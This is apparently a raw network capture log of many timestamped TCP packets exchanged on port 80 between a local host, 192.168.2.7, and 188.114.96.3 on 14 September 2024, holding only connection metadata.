Sep 14, 2024 18:44:28.502420902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.502453089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502466917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.502563000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502631903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502664089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502665997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.502722025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502731085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.502756119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502789974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502808094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.502831936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502866983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502896070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502916098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.502928972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502948046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.502962112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.502994061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503001928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503027916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503062010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503077030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503096104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503144979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503324032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503377914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503428936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503432989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503482103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503531933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503547907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503566027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503611088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503616095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503650904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503683090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503700018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503716946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503751040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503766060 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503786087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503818989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503835917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503853083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503885984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503901005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.503920078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503952026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.503958941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504003048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504034996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504046917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504070044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504105091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504117966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504169941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504199028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504216909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504250050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504337072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504369974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504373074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504404068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504417896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504437923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504472017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504503965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504527092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504538059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504544973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504574060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504620075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504714966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504748106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504781008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504812002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504837036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504844904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504862070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504894972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504928112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504942894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.504961014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.504993916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505011082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505026102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505059004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505070925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505093098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505125999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505136967 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505176067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505208015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505222082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505242109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505279064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505292892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505311966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505346060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505357981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505403996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505435944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505450010 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505465031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505497932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505510092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505531073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505563021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505573988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505597115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505630016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505641937 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505685091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505717039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505731106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505750895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505783081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505800009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505815029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505846977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505858898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505881071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505927086 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.505929947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505964041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.505995035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506009102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.506027937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506057978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506068945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.506092072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506124973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506141901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.506158113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506190062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506206989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.506225109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506259918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506272078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.506294012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506328106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506341934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.506361961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506396055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506419897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.506428003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506462097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.506473064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.549169064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.562314987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.562335968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.562351942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.562377930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.562395096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.562411070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.562427998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.562443972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.562511921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.562568903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.588619947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.588690996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.588798046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.588805914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.588850975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.588886023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.588901043 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.588920116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.588954926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.588974953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.588989019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589023113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589055061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589056015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589090109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589111090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589122057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589155912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589169979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589194059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589240074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589287043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589338064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589384079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589385986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589421988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589453936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589467049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589504004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589535952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589550018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589569092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589600086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589620113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589648962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589680910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589694977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589715958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589749098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589762926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.589783907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589819908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.589828014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590221882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590255022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590286970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590291023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590337992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590344906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590379000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590409994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590442896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590442896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590477943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590496063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590524912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590574026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590574980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590607882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590641975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590658903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590679884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590713024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590728045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590747118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590781927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590790987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590884924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590918064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590948105 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.590950012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.590984106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591017962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591033936 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591051102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591063976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591084957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591118097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591130972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591164112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591197014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591212034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591232061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591268063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591281891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591303110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591335058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591350079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591368914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591428995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591461897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591494083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591500044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591530085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591562986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591562986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591573954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591597080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591629028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591660023 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591692924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591700077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591711044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591725111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591777086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591780901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591810942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591842890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591855049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591892004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591926098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591942072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.591960907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.591993093 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592024088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592063904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592072010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592106104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592123032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592139006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592154026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592170000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592201948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592236996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592259884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592267990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592278957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592299938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592333078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592349052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592366934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592412949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592417002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592446089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592478037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592493057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592510939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592542887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592557907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592576027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592624903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592626095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592658997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592690945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592705965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592725039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592756987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592782021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592807055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592838049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592859030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592871904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592905045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592917919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.592937946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592969894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.592989922 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.593003988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.593036890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.593055964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.593069077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.593101025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.593122959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.593137026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.593178988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.649307966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.649342060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.649358034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.649374008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.649389029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.649403095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.649420023 CEST	80	54891	188.114.96.3	192.168.2.7
